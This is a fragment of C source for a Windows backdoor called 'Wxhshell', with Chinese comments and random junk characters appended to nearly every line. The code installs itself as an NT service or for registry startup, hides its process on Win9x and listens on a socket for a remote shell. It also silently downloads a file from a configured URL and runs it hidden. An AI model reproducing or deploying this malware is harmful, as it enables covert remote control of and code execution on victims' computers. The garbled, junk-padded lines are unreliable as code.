DWORD BasePriority; F JzjS;
ULONG UniqueProcessId; -l\@50,D
ULONG InheritedFromUniqueProcessId; zme:U![
} PROCESS_BASIC_INFORMATION; ,Xn%-OT
ESO(~X+
PROCNTQSIP NtQueryInformationProcess; IQM!dC
Cxh9rUe.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V><P`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y?rsfIth`
+LUL-d
HANDLE hProcess; 6?_Uow}
PROCESS_BASIC_INFORMATION pbi; 0`x<sjG\q
ecHy. 7H
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b ,cvQD
if(NULL == hInst ) return 0; L$b9|j7
!O5UE
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .,c8cq?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;7hf'k
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rdK.*oT
a%AU9?/q#
if (!NtQueryInformationProcess) return 0; C{c (K!
:70oO}0m.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PH]q#/'
if(!hProcess) return 0; H`y- "L8q
D1w_Vpz
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :>,d$f^tqE
3oSQe"
CloseHandle(hProcess); 9orza<#
PC9:nee
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $Ec;w~e
if(hProcess==NULL) return 0; !XFN/-Q ,
i->sw#
HMODULE hMod; Rn}+l[]jC
char procName[255]; 9Kqr9U--v
unsigned long cbNeeded; Fc=8Qt^
v7ae^iU
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #&@&BlIe
5'o.v^l
CloseHandle(hProcess); OxD\e5r
v9<p@GY"\
if(strstr(procName,"services")) return 1; // 以服务启动 d`:0kOF+
04(h!@!g:
return 0; // 注册表启动 #
mzJ^V-
} _|*j8v3
rOcfPLJi0
// 主模块 p*^O8o
int StartWxhshell(LPSTR lpCmdLine) N+r~\[N\9
{ 9oaq%Sf
SOCKET wsl; P$!Ht
BOOL val=TRUE; Tv(s?T6f
int port=0;
W6a2I
struct sockaddr_in door; }x%"Oq|2]x
5[GX
if(wscfg.ws_autoins) Install(); ^wX_@?aKtt
vv3dr_l:
port=atoi(lpCmdLine); o?b"B+#
3{:d$- y
if(port<=0) port=wscfg.ws_port; M~@\x]p >
a#kZY7s
WSADATA data; K,So#Ui
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @ O%m,
{L8SDU{P
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sG\=_-"v(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u^{Q|o:=x
door.sin_family = AF_INET; \>\w-ty[(
door.sin_addr.s_addr = inet_addr("127.0.0.1"); e\P+R>i0
door.sin_port = htons(port);
UWu|w
#a/lt^}C*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~:JKXa?
closesocket(wsl); 08'JT{i id
return 1; sT/pA^rnnR
} TzIgEn~
$mpfr#!&3o
if(listen(wsl,2) == INVALID_SOCKET) { mX<D]Z< k
closesocket(wsl); h IGa);g
return 1; nrZv>r
} r*WdD/r|
Wxhshell(wsl); x[)S3UJ
WSACleanup(); =P5SFMPN
z\;kjI
return 0; %2>FSE
C~l5D4D#
} Sm-nb*ZyC
s_RYYaM
// 以NT服务方式启动 (Q\w4?ci
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7}nOF{RH]
{ /A_
IS `
DWORD status = 0; 9gWQGkql
DWORD specificError = 0xfffffff; )of_"gZ$3A
MT0}MMr
serviceStatus.dwServiceType = SERVICE_WIN32; b?r0n]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; w|>Y&/IX
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /a]+xL
serviceStatus.dwWin32ExitCode = 0; 3 \kT#nr
serviceStatus.dwServiceSpecificExitCode = 0; `pLp+#1
`R
serviceStatus.dwCheckPoint = 0; {8t;nsdm!
serviceStatus.dwWaitHint = 0; 6k^vF~
u]zb<)'_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9%)'QDVGLf
if (hServiceStatusHandle==0) return; ;T/' CD
mNV4"lNR
status = GetLastError(); TsR20P@
if (status!=NO_ERROR) X.JB&~/rO
{ (2%C%#]8
serviceStatus.dwCurrentState = SERVICE_STOPPED; O*jNeYA
serviceStatus.dwCheckPoint = 0; p4t(xm2T
serviceStatus.dwWaitHint = 0; | WDX@Q
serviceStatus.dwWin32ExitCode = status; S?D2`b
serviceStatus.dwServiceSpecificExitCode = specificError; ^%\p; yhL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RI%*5lM8;
return; *A_
} A@`C<O ^
4I,HvP
serviceStatus.dwCurrentState = SERVICE_RUNNING; fF>H7
serviceStatus.dwCheckPoint = 0; qT}&XK`Q^
serviceStatus.dwWaitHint = 0; 2*Gl|@~N
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (spX3n%p
} jP+4'O!s[
;&[0 h)
// 处理NT服务事件,比如:启动、停止 "b2Mk-qP
VOID WINAPI NTServiceHandler(DWORD fdwControl) gg6&Fzp
{ Q y15TJ
switch(fdwControl) q/]tJ{FI
{ DrW]`%Ql
case SERVICE_CONTROL_STOP: FxD" z3D
serviceStatus.dwWin32ExitCode = 0; z.{yVQE
serviceStatus.dwCurrentState = SERVICE_STOPPED; uZ
OUp8QQ
serviceStatus.dwCheckPoint = 0; pKp#4Js
serviceStatus.dwWaitHint = 0; L !{^^7
{ J@1 (2%)|Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4,)=r3;&!
} y 5=J6a2.
return; !rrjA$P<v
case SERVICE_CONTROL_PAUSE: gzw[^d
serviceStatus.dwCurrentState = SERVICE_PAUSED; !WDdq_n*v
break; %d*}:295
case SERVICE_CONTROL_CONTINUE: x%$Z/
serviceStatus.dwCurrentState = SERVICE_RUNNING; +K+
== mO&
break; B{zIW'Ld
case SERVICE_CONTROL_INTERROGATE: G-rN?R.
break; )m6=_q5@o
}; GTLlQy)'=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )TXn7{M:
} x!G\-2#
X2o5Hc)l<
// 标准应用程序主函数 rvOR[T>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m.lNKIknQ
{ V1(eebi|
NbgP,-
// 获取操作系统版本 3fBq~ Q
OsIsNt=GetOsVer(); `M\L6o
GetModuleFileName(NULL,ExeFile,MAX_PATH); yQ&;#`!'
bEPXNN
// 从命令行安装 s'/ug
if(strpbrk(lpCmdLine,"iI")) Install(); 64zO%F*
D4`7,JC}<
// 下载执行文件 Av/|={i
if(wscfg.ws_downexe) { .k[Ptx>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^QXUiXzl
WinExec(wscfg.ws_filenam,SW_HIDE); |Z!C`G[
} r}XD{F}"
E4 JS
if(!OsIsNt) { f *)t<1f
// 如果时win9x,隐藏进程并且设置为注册表启动 Ndx='j0
HideProc(); w/ZV9"BhE
StartWxhshell(lpCmdLine); c?wFEADn
} {%~Sbcq4F
else Hjlx,:'M
if(StartFromService()) na%9E8;:&v
// 以服务方式启动 pW!]
StartServiceCtrlDispatcher(DispatchTable); x37r{$2
else zYH6+!VBH#
// 普通方式启动 UIzk-.<
StartWxhshell(lpCmdLine); _{T`ka
$k}+,tHtJO
return 0; YMz[je
}